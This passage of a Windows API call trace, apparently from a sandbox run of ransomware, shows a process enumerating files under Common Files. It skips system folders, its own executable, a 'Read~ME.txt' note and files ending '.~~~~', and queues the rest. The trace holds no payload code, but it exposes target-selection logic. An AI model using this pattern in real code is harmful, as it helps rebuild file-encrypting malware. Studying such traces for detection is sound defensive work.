	[0065.877] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1
	[0065.877] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="Windows") returned -1
	[0065.877] lstrcmpW (lpString1="MSADDNDR.DLL", lpString2="oiikyy.exe") returned -1
	[0065.877] StrStrW (lpFirst="MSADDNDR.DLL", lpSrch=".~~~~") returned 0x0
	[0065.877] lstrcmpW (lpString1="MSADDNDR.DLL", lpString2="Read~ME.txt") returned -1
	[0065.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x39e958
	[0065.877] GetCurrentThreadId () returned 0x618
	[0065.877] RtlWakeConditionVariable () returned 0x365f48
	[0065.878] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0
	[0065.878] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0065.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x39e958
	[0065.878] GetCurrentThreadId () returned 0x618
	[0065.878] RtlWakeConditionVariable () returned 0x365f48
	[0065.878] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411291f0, ftCreationTime.dwHighDateTime=0x1d58e33, ftLastAccessTime.dwLowDateTime=0x40445a50, ftLastAccessTime.dwHighDateTime=0x1d562e2, ftLastWriteTime.dwLowDateTime=0x40445a50, ftLastWriteTime.dwHighDateTime=0x1d562e2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="home_containing_gourmet.exe", cAlternateFileName="HOME_C~1.EXE")) returned 1
	[0065.878] lstrcmpiW (lpString1="home_containing_gourmet.exe", lpString2="Windows") returned -1
	[0065.878] lstrcmpW (lpString1="home_containing_gourmet.exe", lpString2="oiikyy.exe") returned -1
	[0065.878] StrStrW (lpFirst="home_containing_gourmet.exe", lpSrch=".~~~~") returned 0x0
	[0065.878] lstrcmpW (lpString1="home_containing_gourmet.exe", lpString2="Read~ME.txt") returned -1
	[0065.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0065.878] GetCurrentThreadId () returned 0x618
	[0065.878] RtlWakeConditionVariable () returned 0x365f48
	[0065.878] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104ac10, ftCreationTime.dwHighDateTime=0x1d58fdc, ftLastAccessTime.dwLowDateTime=0xf96591c0, ftLastAccessTime.dwHighDateTime=0x1d5dccc, ftLastWriteTime.dwLowDateTime=0xf96591c0, ftLastWriteTime.dwHighDateTime=0x1d5dccc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lockedseekingsuccess.exe", cAlternateFileName="LOCKED~1.EXE")) returned 1
	[0065.878] lstrcmpiW (lpString1="lockedseekingsuccess.exe", lpString2="Windows") returned -1
	[0065.878] lstrcmpW (lpString1="lockedseekingsuccess.exe", lpString2="oiikyy.exe") returned -1
	[0065.878] StrStrW (lpFirst="lockedseekingsuccess.exe", lpSrch=".~~~~") returned 0x0
	[0065.878] lstrcmpW (lpString1="lockedseekingsuccess.exe", lpString2="Read~ME.txt") returned -1
	[0065.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0065.878] GetCurrentThreadId () returned 0x618
	[0065.878] RtlWakeConditionVariable () returned 0x365f48
	[0065.879] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0065.879] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Windows") returned -1
	[0065.879] lstrcmpW (lpString1="Microsoft Shared", lpString2=".") returned 1
	[0065.879] lstrcmpW (lpString1="Microsoft Shared", lpString2="..") returned 1
	[0065.879] lstrcmpW (lpString1="Microsoft Shared", lpString2="AppData") returned 1
	[0065.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared", lpSrch="AppData") returned 0x0
	[0065.879] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.879] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared", lpString2="C:\\Windows") returned -1
	[0065.879] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.879] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared", lpString2="C:\\System Volume Information") returned -1
	[0065.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0065.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0065.879] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.879] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.879] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.879] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.879] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.879] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.879] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.879] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.879] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.880] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.880] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.880] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.880] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1
	[0065.880] lstrcmpiW (lpString1="DW", lpString2="Windows") returned -1
	[0065.880] lstrcmpW (lpString1="DW", lpString2=".") returned 1
	[0065.880] lstrcmpW (lpString1="DW", lpString2="..") returned 1
	[0065.880] lstrcmpW (lpString1="DW", lpString2="AppData") returned 1
	[0065.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW", lpSrch="AppData") returned 0x0
	[0065.880] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.880] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW", lpString2="C:\\Windows") returned -1
	[0065.880] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.880] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW", lpString2="C:\\System Volume Information") returned -1
	[0065.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0065.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0065.998] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.998] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.998] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.998] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.998] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.998] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.998] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.998] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.998] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.998] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.999] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.999] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.999] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0065.999] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="Windows") returned -1
	[0065.999] lstrcmpW (lpString1="DBGHELP.DLL", lpString2="oiikyy.exe") returned -1
	[0065.999] StrStrW (lpFirst="DBGHELP.DLL", lpSrch=".~~~~") returned 0x0
	[0065.999] lstrcmpW (lpString1="DBGHELP.DLL", lpString2="Read~ME.txt") returned -1
	[0065.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.999] GetCurrentThreadId () returned 0x618
	[0065.999] RtlWakeConditionVariable () returned 0x365f48
	[0065.999] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0065.999] lstrcmpiW (lpString1="DW20.EXE", lpString2="Windows") returned -1
	[0065.999] lstrcmpW (lpString1="DW20.EXE", lpString2="oiikyy.exe") returned -1
	[0065.999] StrStrW (lpFirst="DW20.EXE", lpSrch=".~~~~") returned 0x0
	[0065.999] lstrcmpW (lpString1="DW20.EXE", lpString2="Read~ME.txt") returned -1
	[0065.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0065.999] GetCurrentThreadId () returned 0x618
	[0065.999] RtlWakeConditionVariable () returned 0x365f48
	[0065.999] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1
	[0065.999] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="Windows") returned -1
	[0065.999] lstrcmpW (lpString1="DWTRIG20.EXE", lpString2="oiikyy.exe") returned -1
	[0066.000] StrStrW (lpFirst="DWTRIG20.EXE", lpSrch=".~~~~") returned 0x0
	[0066.000] lstrcmpW (lpString1="DWTRIG20.EXE", lpString2="Read~ME.txt") returned -1
	[0066.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.000] GetCurrentThreadId () returned 0x618
	[0066.000] RtlWakeConditionVariable () returned 0x365f48
	[0066.000] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0
	[0066.000] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0066.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.000] GetCurrentThreadId () returned 0x618
	[0066.000] RtlWakeConditionVariable () returned 0x365f48
	[0066.000] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0066.000] lstrcmpiW (lpString1="EQUATION", lpString2="Windows") returned -1
	[0066.000] lstrcmpW (lpString1="EQUATION", lpString2=".") returned 1
	[0066.000] lstrcmpW (lpString1="EQUATION", lpString2="..") returned 1
	[0066.000] lstrcmpW (lpString1="EQUATION", lpString2="AppData") returned 1
	[0066.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION", lpSrch="AppData") returned 0x0
	[0066.000] lstrlenW (lpString="C:\\Windows") returned 10
	[0066.000] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION", lpString2="C:\\Windows") returned -1
	[0066.000] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0066.001] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION", lpString2="C:\\System Volume Information") returned -1
	[0066.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0066.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0066.002] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0066.002] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0066.002] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0066.002] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0066.002] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0066.002] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.003] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0066.003] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0066.003] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0066.003] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0066.003] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0066.003] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0066.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0066.003] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0066.003] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0066.003] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0066.003] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0066.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033", lpSrch="AppData") returned 0x0
	[0066.003] lstrlenW (lpString="C:\\Windows") returned 10
	[0066.003] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033", lpString2="C:\\Windows") returned -1
	[0066.003] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0066.003] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033", lpString2="C:\\System Volume Information") returned -1
	[0066.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b2038
	[0066.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0066.317] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0066.317] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0066.317] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0066.317] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0066.318] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0066.318] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.318] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0066.318] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0066.318] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0066.318] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0066.318] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0066.318] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0066.318] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1
	[0066.318] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="Windows") returned -1
	[0066.318] lstrcmpW (lpString1="EEINTL.DLL", lpString2="oiikyy.exe") returned -1
	[0066.318] StrStrW (lpFirst="EEINTL.DLL", lpSrch=".~~~~") returned 0x0
	[0066.318] lstrcmpW (lpString1="EEINTL.DLL", lpString2="Read~ME.txt") returned -1
	[0066.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0066.318] GetCurrentThreadId () returned 0x618
	[0066.318] RtlWakeConditionVariable () returned 0x365f48
	[0066.318] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0
	[0066.318] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0066.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0066.318] GetCurrentThreadId () returned 0x618
	[0066.318] RtlWakeConditionVariable () returned 0x365f48
	[0066.318] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1
	[0066.318] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="Windows") returned -1
	[0066.318] lstrcmpW (lpString1="EQNEDT32.CNT", lpString2="oiikyy.exe") returned -1
	[0066.319] StrStrW (lpFirst="EQNEDT32.CNT", lpSrch=".~~~~") returned 0x0
	[0066.319] lstrcmpW (lpString1="EQNEDT32.CNT", lpString2="Read~ME.txt") returned -1
	[0066.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0066.319] GetCurrentThreadId () returned 0x618
	[0066.319] RtlWakeConditionVariable () returned 0x365f48
	[0066.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1
	[0066.319] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="Windows") returned -1
	[0066.319] lstrcmpW (lpString1="EQNEDT32.EXE", lpString2="oiikyy.exe") returned -1
	[0066.319] StrStrW (lpFirst="EQNEDT32.EXE", lpSrch=".~~~~") returned 0x0
	[0066.319] lstrcmpW (lpString1="EQNEDT32.EXE", lpString2="Read~ME.txt") returned -1
	[0066.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0066.319] GetCurrentThreadId () returned 0x618
	[0066.319] RtlWakeConditionVariable () returned 0x365f48
	[0066.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1
	[0066.319] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="Windows") returned -1
	[0066.319] lstrcmpW (lpString1="eqnedt32.exe.manifest", lpString2="oiikyy.exe") returned -1
